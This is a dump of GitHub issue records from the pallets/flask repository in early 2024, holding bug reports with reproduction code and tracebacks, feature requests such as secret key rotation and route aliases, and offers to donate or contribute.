pallets/flask,2229507381,Calling `flash` after `get_flashed_messages` fails ,"In a single request, do this:
- call `get_flashed_messages()`
- call `flash(...)`
- call `get_flashed_messages()` again, observe that it returns the empty list, despite a message just having been flashed.

After the first call to `get_flashed_messages()`, `request_ctx.flashes` is  `[]`, which appears to send this code in `get_flashed_messages` off the rails:

https://github.com/pallets/flask/blob/98a7f9fcf09fce5d32bf25e7f917c1c3026719d1/src/flask/helpers.py#L364-L367

Environment:

- Python version: 3.11
- Flask version: 3.0.2
",,2024-04-07T01:37:11Z,2024-04-07T18:57:43Z,3
pallets/flask,2229218373,"Unable to start flask3.0 app on a minimal implementation with `invalid syntax. Perhaps you forgot a comma? (scaffold.py, line 295)`","Simply create a minimal flask3.0 app as follow and execute it, it will fail instantly on importing `from flask import Flask`:
```python
from flask import Flask

app = Flask(__name__)

@app.route(""/"")
def hello_world():
    return ""<p>Hello, World!</p>""

app.run()
```

Error trace:
```text
Traceback (most recent call last):
  File ""/home/lazydreamer/anaconda3/envs/test_env/lib/python3.11/runpy.py"", line 198, in _run_module_as_main
    return _run_code(code, main_globals, None,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/home/lazydreamer/anaconda3/envs/test_env/lib/python3.11/runpy.py"", line 88, in _run_code
    exec(code, run_globals)
  File ""/home/lazydreamer/.vscode-server/extensions/ms-python.debugpy-2024.4.0-linux-x64/bundled/libs/debugpy/adapter/../../debugpy/launcher/../../debugpy/__main__.py"", line 39, in <module>
    cli.main()
  File ""/home/lazydreamer/.vscode-server/extensions/ms-python.debugpy-2024.4.0-linux-x64/bundled/libs/debugpy/adapter/../../debugpy/launcher/../../debugpy/../debugpy/server/cli.py"", line 430, in main
    run()
  File ""/home/lazydreamer/.vscode-server/extensions/ms-python.debugpy-2024.4.0-linux-x64/bundled/libs/debugpy/adapter/../../debugpy/launcher/../../debugpy/../debugpy/server/cli.py"", line 284, in run_file
    runpy.run_path(target, run_name=""__main__"")
  File ""/home/lazydreamer/.vscode-server/extensions/ms-python.debugpy-2024.4.0-linux-x64/bundled/libs/debugpy/_vendored/pydevd/_pydevd_bundle/pydevd_run... [TRUNCATED]",,2024-04-06T12:17:26Z,2024-04-06T15:06:25Z,2
pallets/flask,2220905760,HTTP response status 204 (`No Content`) includes superfluous `Content-Type` header,"
When returning HTTP code `204` Flask will include a `Content-Type` header which is superfluous as there is no content.

Environment:

- Python version: 3.9
- Flask version: 3.0.2
",,2024-04-02T16:09:38Z,2024-04-02T16:28:46Z,1
pallets/flask,2216902484,Post request response time spikes,"Hello,

in my project I need to upload images as bytes to an endpoint and then process them, within a certain time. The images have a resolution of 600x600 and weight ~700 kB per image. Images are in png format. I have created a minimal flask application with one endpoint. The application is served using a waitress.

The problem is that sometimes response time from an endpoint suddenly increases by an order of magnitude. As I have to fit in a certain amount of time, such spikes can cause a critical error.

I ran a cProfile on the post request and found out that when there is a spike two functions take more time than normal:

**Normal**

```
ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     2    0.000    0.000    0.000    0.000 {method 'sendall' of '_socket.socket' objects}
     1    0.004    0.004    0.004    0.004 {method 'recv_into' of '_socket.socket' objects}
```

**Spike**

```
ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     2    0.008    0.004    0.008    0.004 {method 'sendall' of '_socket.socket' objects}
     1    0.012    0.012    0.012    0.012 {method 'recv_into' of '_socket.socket' objects}
```

What is the cause of these spikes, and can they be resolved in some way?

Code to reproduce:

```
# app.py
import numpy as np
from flask import Flask, request


def create_app():
    app = Flask(__name__)

    @app.route(""/endpoint"")
    def endpoint():
        data = request.data
  ... [TRUNCATED]",,2024-03-31T10:56:17Z,2024-03-31T16:27:32Z,1
pallets/flask,2214364118,Use of `hashlib.sha1` causes issue in FIPS build,"The use of SHA1 found here: https://github.com/pallets/flask/blob/b90a4f1f4a370e92054b9cc9db0efcb864f87ebe/src/flask/sessions.py#L289
prevents applications from running in a FIPS Enabled Environment/OS. The OS will abruptly stop the application from running when it detects a non compliant Hash Algorithm is used.

Describe how to replicate the bug:
Enforce FIPS Enabled on the OS (such as RHEL9)


Unexpected Behavior Error output:
```bash
Traceback (most recent call last):
  File ""/opt/abc-app/app.py"", line 1, in <module>
    from xxxxxxxxxx import xxxxxxx
  File ""/opt/abc-app/abc-app_ui.py"", line 67, in <module>
    sess.init_app(app=app)
  File ""/opt/abc-app/venv/lib/python3.11/site-packages/flask_session/__init__.py"", line 50, in init_app
    app.session_interface = self._get_interface(app)
                            ^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/opt/abc-app/venv/lib/python3.11/site-packages/flask_session/__init__.py"", line 79, in _get_interface
    session_interface = FileSystemSessionInterface(
                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/opt/abc-app/venv/lib/python3.11/site-packages/flask_session/sessions.py"", line 312, in __init__
    self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/opt/abc-app/venv/lib/python3.11/site-packages/cachelib/file.py"", line 73, in __init__
    self._update_count(value=len(list(self._list_dir()... [TRUNCATED]",,2024-03-29T00:05:14Z,2024-04-07T18:42:30Z,3
pallets/flask,2210123162,"When using Flask to receive multiple files, an extra ‘0D’ appears at the end of some images","When using Flask to receive multiple image files, occasionally an extra ""0D"" appears at the end of the image. The original data is saved, and the end of this image is normal ""FFD90D0A"". Packet capture tools also show a normal ending. If this request is sent repeatedly, the same error will continue to occur, and the saved image cannot be resent to reproduce the issue.

Below is the main code for sending and receiving. This code cannot be run directly because it needs to read some data.

```
files={}
files[i]=(""name"", data[i], 'image/jpeg')
response = requests.post(
            ""http://192.168.1.50:8006/test"",
            files = files,
        )
```


```
import flask

app = flask.Flask(__name__)

@app.before_request
def before_request():
    path=flask.request.path
    data=flask.request.get_data(cache=True, as_text=False)
    flask.request.data1=data

@app.route('/test', methods = ['POST'])
def testfile():
    data=flask.request.data1
    files=flask.request.files
    files=[(i,files[i]) for i in files]
    for i in range(len(files)):
        with open(f""test/{i}.jpg"",""wb"") as f:
            files[i][1].seek(0, os.SEEK_END)
            file_size = files[i][1].tell()
            files[i][1].seek(0)
            f.write(files[i][1].read(file_size))
    return flask.jsonify({""code"":0})

if __name__ == '__main__':
    app.run(host=""0.0.0.0"",port=8006)
```



I have analyzed the raw data and source code, and used packet capture tools to ... [TRUNCATED]",,2024-03-27T08:03:15Z,2024-03-27T08:05:05Z,1
pallets/flask,2206311647,Broken HTML Markup in Template Inheritance,The HTML Markup within the docs is broken. A <p> Tag is opened but never closed.,,2024-03-25T17:33:19Z,2024-03-25T17:37:29Z,1
pallets/flask,2197285142,Unable to silence logging messages,"Im getting ~15 of:

> 127.0.0.1 - - [16/Mar/2024 12:10:13] ""POST / HTTP/1.1"" 200 -

in the terminal when Im running a Dash application.
```
server = flask.Flask(__name__)
app = dash.Dash(
    __name__,
    server=server,
    external_stylesheets=[dbc.themes.BOOTSTRAP],
    meta_tags=[
        {""name"": ""viewport"", ""content"": ""width=device-width, initial-scale=1""}
    ],
)
```
(https://github.com/AlexKurek/srt-py/blob/master/srt/dashboard/app.py#L53)

How do I silence them? I have found a lot of methods, e.g. [Disable console messages in Flask server](https://stackoverflow.com/questions/14888799/disable-console-messages-in-flask-server), but none of them worked. My guess is that since they worked in previous versions of Flask - could this be a regression?

Environment:

- Python version: 3.11
- Flask version: 3.0.2
",,2024-03-20T11:19:28Z,2024-03-20T12:15:23Z,1
pallets/flask,2179469413,How to avoid duplicate threads in debug mode,"## Issue Description

I have a similar issue as #5307 and I also understand the arguments related to threads in web applications.

In my case of a web server for controlling Raspberry Pi cameras [raspiCamSrv](https://github.com/signag/raspi-cam-srv), there are several threads under control of the web app, like live stream, video recording, etc.    
These threads use the [Picamera2](https://github.com/raspberrypi/picamera2) library which starts its own threads.

This is normally not an issue because these threads are started by users from the Web UI after the Flask server has started.

Now, I have added a motion capture feature, which is also running in an own thread and users want this feature to be automatically started with the server, for example after the device has been rebooted.

Currently, I start this thread in the app factory ```create_app()```.   
And, as in #5307, the thread is started again when I start Flask with the ```--debug``` option.

I do not seem to have the possibility from my own code to detect whether these threads are already active.   
The classes from which these threads are started and which hold their references, seem to be initialized again, although they are singletons.

## Question

I am not considering this as a bug.

My question is whether there is a possibility in ```create_app()```, to know that the app is being recreated on behalf of the autoloader.

## Environment:

- Python version: 3.11.2
- Flask version: 3.0.0
... [TRUNCATED]",,2024-03-11T15:44:00Z,2024-03-11T16:34:53Z,0
pallets/flask,2176645934,Starter example results in 404 error,"The basic example from the readme / flask docs throws a 404 error instead of returning the Hello World message

If you run the code from the example:

```
# save this as app.py
from flask import Flask

app = Flask(__name__)

@app.route(""/"")
def hello():
    return ""Hello, World!""
```

and then open 127.0.0.1:5000


Instead of getting the Hello World message, you get a 404.
When re-trying the app exits with code 0 instead of launching the server.


Environment:

- Python version: 3.12
- Flask version: 3.02


",,2024-03-08T19:28:48Z,2024-03-08T20:19:08Z,4
pallets/flask,2172212730,Flask is not running when Debug is True on Windows,"```
from flask import Flask
app = Flask(__name__)
if __name__ == ""__main__"":	
	app.run(debug=True)
```
I made main.py like above. 
and tried to run it with below command
`flask run --app test --debug`
`python main.py`
both way got the error like below

![image](https://github.com/pallets/flask/assets/45891661/d4b6ebc4-517c-41ba-9988-ce04172e2d1c)

`Traceback (most recent call last):
  File ""D:\Employer\Security Snares\ransomsnare-backend\flask\test.py"", line 4, in <module>
    app.run(debug=True)
  File ""D:\Employer\Security Snares\vee\lib\site-packages\flask\app.py"", line 615, in run
    run_simple(t.cast(str, host), port, self, **options)
  File ""D:\Employer\Security Snares\vee\lib\site-packages\werkzeug\serving.py"", line 1077, in run_simple
    srv = make_server(
  File ""D:\Employer\Security Snares\vee\lib\site-packages\werkzeug\serving.py"", line 917, in make_server
    return ThreadedWSGIServer(
  File ""D:\Employer\Security Snares\vee\lib\site-packages\werkzeug\serving.py"", line 779, in __init__
    self.socket = socket.fromfd(fd, address_family, socket.SOCK_STREAM)
  File ""C:\Users\K_Teacher\AppData\Local\Programs\Python\Python310\lib\socket.py"", line 545, in fromfd
    nfd = dup(fd)
OSError: [WinError 10038] An operation was attempted on something that is not a socket`

Environment:

- Python version: 3.10
- Flask version: 2.3.2, 3.0.2
- OS: Windows 10
",,2024-03-06T19:00:18Z,2024-03-06T19:46:03Z,1
pallets/flask,2168207594,@app.errorhandler() cannot be used in blueprint when debug=False,"I want to customize an error type in Flask, and then use `@app.errorhandler()` in the main program to capture it. Then, I define a function raise_error to actively throw this exception. When `debug=True` is enabled at runtime, both the main and blueprint routes can be used normally in the interface function. However, when `debug=False`, only the main route can be used, and the blueprint route cannot capture it and reports a program error,I hope someone  can help me take a look
There are two files in total(`mains.py`,`aaa.py`)

```
#python mains.py
from flask import jsonify, Flask
from typing import Union
app = Flask(__name__)

class CustomError(Exception):
    def __init__(self, message, status_code=500):
        try:
            self.message = message.__dict__
        except Exception as e:
            self.message = message
        self.status_code = status_code

def raise_error(msg: Union[dict, str], status: Union[int, str] = 500):
    raise CustomError(msg, status_code=status)

@app.route(""/"")
def home():
    raise_error(""this is error"")
    return {}

from aaa import router
app.register_blueprint(router)

@app.errorhandler(CustomError)
def handle_custom_exception(error: CustomError):
    response = jsonify({""code"": error.status_code, ""data"": error.message})
    response.status = 20
    return response

if __name__ == ""__main__"":
    # app.run(host=""0.0.0.0"", port=7788, debug=True) #can in blueprint
    app.run(host=""0.0.0.0"", port=7788... [TRUNCATED]",,2024-03-05T03:13:48Z,2024-03-05T03:54:33Z,0
pallets/flask,2163958690,Secret Key Rotation,"Hi everyone,

I have started working with Flask in the last month and I noticed that there could be an improvement on secret key managment for sessions; specifically I am taking as reference OWASP Top 10 [Cryptographic Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/) on the point where it talks about the importance of proper key managment (that isn't flask responsibility) and rotation.

I saw that there is a closed issue on that topic, however that was from 10 years ago, a lot of time passed so I thought it would be a nice thing pointing that out; I understand that this implies session invalidating when the secret key changes, but I think that this could be a choice left to developers based on security requirements of the specific system, therefore adding more flexibility.

If I am wrong in any way or it isn't feasible I hope that someone can provide me a good explanation about why.
",,2024-03-01T18:25:44Z,2024-03-01T20:42:48Z,1
pallets/flask,2163828702,Keep code running after response has been sent. (To respond with HTTP requests to other servers) ,"Ability to send a response but continue execution.

An example of this problem is a backend Flask server which receives requests from another backend server, and returns one or more responses at different points in time. One such example is Telegram API.

https://core.telegram.org/bots/faq#how-can-i-make-requests-in-response-to-updates

While it is possible to simply send data back as an HTTP response, it is sometimes desirable to close the HTTP connection with a 200 to acknowledge the message has been received, and reopen a new connection for each response.

Here are some scenarios where this technique might be useful:

- Multiple messages are sent in a progressively more detailed nature, to ensure that errors in complex responses don't compromise simple responses. For example Response(""Hello"") Response (""Error"") Response(""Error 194:blablabla"")
- Separating messages carry a semantic meaning. For example: Response(""Ok so here's the plan\n We leave at 9 am \n ..."") != Response(""Ok so here's the plan"") Response(""We leave at 9 am"") Response(""..."")
- Responses may be scheduled for the future, well after the http connection closes by timeout.

Can we solve this without a builtin? Yeah sure, we can use threading or multiprocessing or libraries like celery. 

I think that the ideal solution is to integrate the multi threading into existing flask multithreading (Main server loop), and ideally integrating it into production one worker process per hardware core configur... [TRUNCATED]",,2024-03-01T17:08:47Z,2024-03-01T20:42:16Z,6
pallets/flask,2162131361,transfer-encoding: debug server behavior differs from test client ,"With code like:

`            resp = make_response(file.open(""rb""))
           return resp
`

the debug server automatically kicks into transfer-encoding chunked mode:

```
curl -svo /dev/null -X GET localhost:8080/src/cond-mat/9805021 2>&1 | grep ""^<""
< HTTP/1.1 200 OK
< Server: Werkzeug/2.3.7 Python/3.11.2
< Date: Thu, 29 Feb 2024 21:14:59 GMT
< Transfer-Encoding: chunked
< Connection: close`
```
but in a unit test it does not go into Transfer-Encoding chunked mode or the header is missing:
```

client_with_test_fs = <FlaskClient <Flask 'browse'>>, path = '/src/', paperid = 'cond-mat/9805021'
expected_file = 'arXiv-cond-mat9805021v2.gz', desc = 'single file .gz'

    @pytest.mark.parametrize(""path,paperid,expected_file,desc"", [ [""/src/""]+c for c in cases] )
    def test_src(client_with_test_fs, path, paperid, expected_file, desc ):
        client = client_with_test_fs
        resp = client.get(path + paperid)
        assert resp
        assert resp.status_code == 200
>       assert resp.headers[""Transfer-Encoding""] == ""chunked"" # Must do chunked on a raw get for Cloud run large obj

tests/test_src.py:70: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

self = Headers([])
key = 'Transfer-Encoding', _get_mode = False

    def __getitem__(self, key, _get_mode=False):
        if not _get_mode:
            if isinstance(key, int):
                return self._list[key]... [TRUNCATED]",,2024-02-29T21:27:22Z,2024-02-29T22:10:10Z,1
pallets/flask,2153659617,Flask logging - Other libraries - FileHandler creates duplicate log entries,"**Description**

In my web server, based on Flask 3.0.0, ([raspi-cam-srv](https://github.com/signag/raspi-cam-srv)), I want to log to a log file.   
For implementation, I followed the Flask [Logging](https://flask.palletsprojects.com/en/3.0.x/logging/) documentation.   

For app and my own modules, I have added a FileHandler with

```
    # Configure loggers
    logsPath = os.path.dirname(app.instance_path) + ""/logs""
    os.makedirs(logsPath, exist_ok=True)
    logFile = logsPath + ""/raspiCamSrv.log""
    Path(logFile).touch(exist_ok=True)
    filehandler = logging.FileHandler(logFile)
    filehandler.setFormatter(app.logger.handlers[0].formatter)
    for logger in(
        app.logger,
        logging.getLogger(""werkzeug""),
        logging.getLogger(""raspiCamSrv.camera_pi""),
    ):
        logger.addHandler(filehandler)
        logger.setLevel(logging.ERROR)
```

As a result, I see duplicate entries for each log entry in the log file (see attachments, below).   
The log output on the console has single entries.

**Note**

I did not add the default_handler to the loggers as described in the Flask [Logging](https://flask.palletsprojects.com/en/3.0.x/logging/) documentation.   
When doing this, I get duplicate log entries also from the StreamHandler to the console.

**How to reproduce the bug**

This is the ```__init__.py```:  [__init__.py.txt](https://github.com/pallets/flask/files/14402038/__init__.py.txt)
This is the log file:  [raspiCamSrv.l... [TRUNCATED]",docs,2024-02-26T09:18:30Z,2024-04-07T19:03:59Z,11
pallets/flask,2149613429,Route Aliases,"I think it would be cool if there were built-in aliases for routes, for example:

```py
@route(
    ""/information"",
    aliases=[""/info"", ""/faq""] # <- They all show the same thing as the main route `/information`.
)
```

It might be useless to some, but I don't. I think it would be useful to allow people to define multiple aliases for one route. It is possible as of now using this code I made:

```py
from typing import List, Callable, Union
from flask import Flask, wraps, redirect, jsonify

app = Flask(__name__)

def route(name: str, aliases: List[str] = [], **options) -> Callable:
    def decorator(func: Callable) -> Callable:
        @app.route(name, **options)
        @wraps(func)
        async def wrapper(*args, **kwargs) -> Union[redirect, jsonify]:
            return await func(*args, **kwargs)

        [app.route(alias, **options)(wrapper) for alias in aliases]

        return wrapper

    return decorator
```",,2024-02-22T17:56:35Z,2024-02-22T18:01:46Z,2
pallets/flask,2135115199,The dependency specifiers are too relaxed,"Good day!

We have dependency specifiers in such way:
https://github.com/pallets/flask/blob/b90a4f1f4a370e92054b9cc9db0efcb864f87ebe/pyproject.toml#L22-L24

But indeed `Werkzeug>=3.0.0` should be `Werkzeug>=3.0.0,<4` or `Werkzeug>=3.0.0,<3.1` or `Werkzeug==3.0.0`, etc.

Got it when I installed `flask==2.0.2` and got an incompatible `Werkzeug==3.0.2` along.

Thanks!",,2024-02-14T20:04:42Z,2024-02-14T20:06:06Z,3
pallets/flask,2130914693,CHIPS support,"Add an argument for `set_cookie` to add `Partitioned;` attribute to the Set-Cookie header.

According to Google, third-party cookies will soon be deprecated. [link](https://developers.google.com/privacy-sandbox/3pcd/prepare/prepare-for-phaseout)
For cross-site cookies which store data on a per site basis, like an embed, will need to migrate to [CHIPS](https://developers.google.com/privacy-sandbox/3pcd/chips), which uses `partitioned` storage to store cookies.",,2024-02-12T20:16:07Z,2024-02-12T20:46:44Z,1
pallets/flask,2129491148,Add domain support to Blueprint,"Currently, Blueprints support a `url_prefix` and a `subdomain` option. I would like to see support for a `domain` option.

I need to host the same codebase on two different sites, but with some of the routes only available to one domain and others only to the other, and roughly 3/4 of routes available on both sites.

I don't want to split the codebase into two because 95% of the code is the same. Checking for `request.host` on every route (even with a route decorator) is cumbersome. Having this at the level of Blueprints would make the most sense.

There's [a way to support multiple domains](https://gist.github.com/tachyondecay/a17960d5d8276387e7cf6982760e7ec2) but it does not allow for the sharing of routes.",,2024-02-12T06:18:51Z,2024-02-12T14:16:35Z,5
pallets/flask,2125622378,send_file doesn't work with objects,"I had a file in an object of type io.BytesIO(), but when I put this object in a send_file made me the error that the parameter is incorrect.
In the version 2 this work well but in the version 3.0.2 doesn't.

Environment:

- Python version: 3.10.12
- Flask version: 3.0.2
",,2024-02-08T16:41:20Z,2024-02-08T18:38:00Z,1
pallets/flask,2125368248,Extend Config type,"At the moment, Pylance, when in strict mode, report an error when trying to use app config. 
The return type of `app.config[""KEY""]` is `Unknown`

First time contribution to an open source project, i want to try and see if i can tell Flask to take into account changes made to `App.config_class` for type hints

Python 3.12

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->
",,2024-02-08T14:56:01Z,2024-02-08T15:12:22Z,1
pallets/flask,2123678354,Blueprint Dynamic URL For `string` vs. `path`,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

## Context

Not sure if this is a bug or intentional feature. When using Blueprint route with Flask, I understand routes with trailing `/` can be used to handle routes with and without `/`. (e.g. `/api/do/stuff` and `/api/do/stuff/`.

When you have route:

```python
@blueprint_api.route('/project/<string:category>/', methods=['POST'])
def project_category(category):
    ...
```

When user enters a route `/project/food/`, it will return what `project_category` does and returns, but when user enters `/project/food`, it will redirect to `/project/food/`.

So if you don't want the redirect, you might do something like:

```python
@blueprint_api.route('/project/<string:category>', methods=['POST'])  # 200 OK
@blueprint_api.route('/project/<string:category>/', methods=['POST'])  # 200 OK
def project_category(category):
    ...
```

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

## Replicate

Now this works fine if the dynamic route uses `string` type, but it seem to be working differently for `path` type.

```python
@blueprint_api.route('/project/<path:category>', methods=['POST'])  # 308 PERMANENT REDIRECT
@blu... [TRUNCATED]",,2024-02-07T19:00:25Z,2024-02-07T19:05:32Z,0
pallets/flask,2105145046,`FileStorage` closed unexpectedly when using `copy_current_request_context`,"Whilst using boto3 for some S3 work in Flask, I needed to register an [event hook](https://boto3.amazonaws.com/v1/documentation/api/1.34.29/guide/events.html) which led to me discovering that `request.files[...]` get closed before the request is completely handled.

I found what looks like one of the events runs in a different thread so I wrapped the hook with `copy_current_request_context` which worked, but then found that by doing this, after calling `object.load()` (triggering the hooks) that `request.files[...]` is closed prematurely.

After some digging I found https://github.com/pallets/werkzeug/issues/1685 which I guess meant that some how the file streams loose context whilst bouncing through the thread and into another context (the copy of the original request context). I know that reported issue is for the main `request.stream`, but this affects the `FileStorage` streams under `request.files`.

To reproduce it here is the minimal code I managed to get this occurring with; only difference between `test_work` and `test_bust` is the use of `session.events.register(...)`.
```
import boto3
from flask import Flask, abort, copy_current_request_context, request

app = Flask(__name__)

def _test(params, **kwargs):

    pass

@app.route('/work', methods=['GET', 'POST'])
def test_work():

    if 'test' not in request.files:
        abort(400)
    file = request.files['test']

    session = boto3.session.Session()

    s3 = session.resource('s3')
    ... [TRUNCATED]",,2024-01-29T10:18:16Z,2024-01-29T15:35:56Z,1
pallets/flask,2104168684,use ThreadPoolExecutor and copy_current_request_context  in flask will appear some bug,"in app.py file: 
```
from flask import Flask
app = Flask(__name__)

@app.route(""/"")
def hello_world():
    from test2 import start
    start()
    return ""<p>Hello, World!</p>""

if __name__ == ""__main__"":
    app.run(debug=True)
```


in test2 file:
```
from flask import copy_current_request_context
import time
from concurrent.futures import ThreadPoolExecutor
import threading

@copy_current_request_context
def function_a(number):
    print(threading.current_thread().ident)
    time.sleep(1)
    return number

def start():
    with ThreadPoolExecutor(max_workers=5) as executor:
        response = list(executor.map(function_a, [1, 2]))
    return response
```

when i request this api , it will appear ""AssertionError: Popped wrong app context. (&lt;flask.ctx.AppContext object at 0x00000167CB79A3C8&gt; instead of &lt;flask.ctx.AppContext object at 0x00000167CB79A668&gt;) // Werkzeug Debugger"", how to resolve it?  thanks!",,2024-01-28T13:40:14Z,2024-01-28T16:34:50Z,0
pallets/flask,2101850501,"Issue matching route with methods=['OPTIONS'] when similar route appears later using ['GET', 'POST']","With routing setup like this:

```
class ApiHandler:

  @route_with('/<regex(""(.*)""):path>', methods = ['OPTIONS'])
  def cors(self, path):
    # Send custom CORS headers
    # This should be matched for any request
    return make_response('OK', 200)

  @route_with('/post/<regex(""(.*)""):id>', methods = ['GET', 'POST'])
  def post(self, id):
    # This should only be matched on GET / POST for ""/post/<id>""
    return make_response('You are at the post', 200)
```

The `cors` handler never gets run if an `OPTIONS` request is made to `/post/123` with the above setup.

Instead, strangely, a blank `200` reponse is returned (with no logs besides the single request entry shown in the logs).

If an `OPTIONS` request is made to any other URL (or if the `post` handler is commented out), the `cors` handler is correctly run.

I've tried running this in multiple Flask version all the way from `1.1.4` to `3.0.1`, to no avail.

This appears to be a bug in Flask's / Werkzeug's routing.

Anyone encountered something similar or have any suggestions on what I can do to diagnose / fix?",,2024-01-26T09:10:12Z,2024-01-26T15:14:49Z,3
pallets/flask,2098419369,Invalid `SERVER_NAME` + `url_for` leads to `AttributeError`,"In our environment we have some security scanners running which generate artificial HTTP requests. Since they are closed source and I can't generate these calls with other tools, I created the below example which starts at the flask level and assumes that an invalid server passed thru the levels. 

```py
from flask import Flask, url_for

app = Flask(__name__)

@app.errorhandler(400)
def do_400(e):
    url_for(""foo"")
    return ""error"", 400


res = app(
    {
        ""ACTUAL_SERVER_PROTOCOL"": ""HTTP/1.1"",
        ""PATH_INFO"": ""/"",
        ""QUERY_STRING"": """",
        ""REQUEST_METHOD"": ""GET"",
        ""REQUEST_URI"": ""/"",
        ""SCRIPT_NAME"": """",
        ""SERVER_NAME"": ""foobar/.."",
        ""SERVER_PROTOCOL"": ""HTTP/1.1"",
        ""wsgi.url_scheme"": ""https"",
    },
    lambda x, y: None,
)
```

Error

```
Traceback (most recent call last):
  File ""work/venv/lib/python3.12/site-packages/werkzeug/routing/map.py"", line 258, in bind
    server_name = server_name.encode(""idna"").decode(""ascii"")
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "".pyenv/versions/3.12.0/lib/python3.12/encodings/idna.py"", line 173, in encode
    raise UnicodeError(""label empty or too long"")
UnicodeError: label empty or too long
encoding with 'idna' codec failed

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File ""work/venv/lib/python3.12/site-packages/flask/app.py"", line 1484, in full_dispatch_request
 ... [TRUNCATED]",,2024-01-24T14:41:08Z,2024-03-30T21:17:49Z,5
pallets/flask,2097490014,Flask 3.0.1 breaks path-separated command line arguments,"In a minimal flask app, running `flask run --extra-files=` or using any other argument that internally uses `SeparatedPathType` results in `TypeError: super(type, obj): obj must be an instance or subtype of type`



1. Create a minimal flask application (follow [the Quickstart](https://flask.palletsprojects.com/en/3.0.x/quickstart/#a-minimal-application)).
2. Install flask==3.0.1 (this bug is not reproducible with 3.0.0 AFAIK)
3. Run `flask run --extra-files=a`

**Expected Behavior:**
The server should start up.

**Actual Behavior:**
The command raises a `Type Error` and exits with code 1

<details><summary>Full Traceback</summary>

```
Traceback (most recent call last):
  File "".../flask-cli-bug/..venv/bin/flask"", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "".../flask-cli-bug/..venv/lib/python3.11/site-packages/flask/cli.py"", line 1105, in main
    cli.main()
  File "".../flask-cli-bug/..venv/lib/python3.11/site-packages/click/core.py"", line 1078, in main
    rv = self.invoke(ctx)
         ^^^^^^^^^^^^^^^^
  File "".../flask-cli-bug/..venv/lib/python3.11/site-packages/click/core.py"", line 1686, in invoke
    sub_ctx = cmd.make_context(cmd_name, args, parent=ctx)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "".../flask-cli-bug/..venv/lib/python3.11/site-packages/click/core.py"", line 943, in make_context
    self.parse_args(ctx, args)
  File "".../flask-cli-bug/..venv/lib/python3.11/site-packages/click/cor... [TRUNCATED]",,2024-01-24T06:04:30Z,2024-02-03T21:12:26Z,2
pallets/flask,2096493518,jinja_loader type bug,"I have
```Python
from jinja2 import ChoiceLoader, FileSystemLoader


app.jinja_loader = ChoiceLoader([
    FileSystemLoader(project_dir / 'templates/'),
    app.jinja_loader,
])
```

There is a mypy error
```
error: Incompatible types in assignment (expression has type ""ChoiceLoader"", variable has type ""FileSystemLoader | None"")  [assignment]
error: List item 1 has incompatible type ""FileSystemLoader | None""; expected ""BaseLoader""  [list-item]
```

There shouldn't be an error.

Environment:

- Python version: 3.12.1
- Flask version: 3.0.1
",,2024-01-23T16:34:25Z,2024-02-03T20:18:53Z,0
pallets/flask,2082274791,Session data is not untagged properly when using other JSON providers,"Providers such as `orjson` and `ujson` do not implement `object_hook`. The ""tagged JSON"" scheme used to encode types for session data currently calls `loads(data, object_hook=...)`, so providers that ignore that option return the data still tagged. Untagging needs to be implemented without using `object_hook`.",,2024-01-15T15:38:32Z,2024-01-15T15:52:44Z,0
pallets/flask,2080228228,Improve error messages on simple after request hook bugs,"When a user forgets to return the response in an `after_request` hook, the message is particularly unhelpful as it does not point to the involvement of the hook:

```python
from flask import Flask
app = Flask(""test"")

# oops
app.after_request(lambda _: None)

@app.get(""/hello"")
def get_hello():
    return ""hello world!"", 200
```

Run:
```sh
flask --debug -A app run
curl -si -X GET http://0.0.0.0:5000/hello
```

Results in:
```
TypeError

TypeError: 'NoneType' object is not callable
Traceback (most recent call last)

    File ""/home/fabien/tmp/test/venv/lib/python3.12/site-packages/flask/app.py"", line 1478, in __call__

    return self.wsgi_app(environ, start_response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    File ""/home/fabien/tmp/test/venv/lib/python3.12/site-packages/flask/app.py"", line 1462, in wsgi_app

    return response(environ, start_response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    TypeError: 'NoneType' object is not callable
```

I suggest that the error message *should* point to the involvement of the after request hook.",,2024-01-13T10:24:40Z,2024-01-15T15:55:44Z,1
pallets/flask,2077124113,Donating Funds to Flask,"Hi Flask maintainers. I'm Lucas, a core contributor to the Drips project (drips dot network). I help recipients of donations through their learning and onboarding process.

Octant (octant dot build) (a project from the Golem Foundation) has been using https://github.com/pallets/flask. It's one of their most critical dependencies!

Octant’s core contributors appreciate the work you all do and want to make sure that you are all well-funded to keep doing it. For that reason, they have decided to donate some funds to your project through Drips.

Who can I talk to about it?",,2024-01-11T16:37:28Z,2024-01-11T16:58:30Z,3
pallets/flask,2061399872,Can I contribute ,"Hi I'm @Yuheshpandian. I love Flask and its capabilities, in fact when I wanted to learn _web dev_ , with only the knowledge of `Python`, I went for Flask without hesitation. I had made some projects using Flask, also a modern boilerplate for `flask` projects. Now I wanted to Contribute to my go to web framework in Python. 

I just want to contribute and make changes in the README.md/Documetation.

Thank You",,2024-01-01T08:03:59Z,2024-01-01T10:04:36Z,6
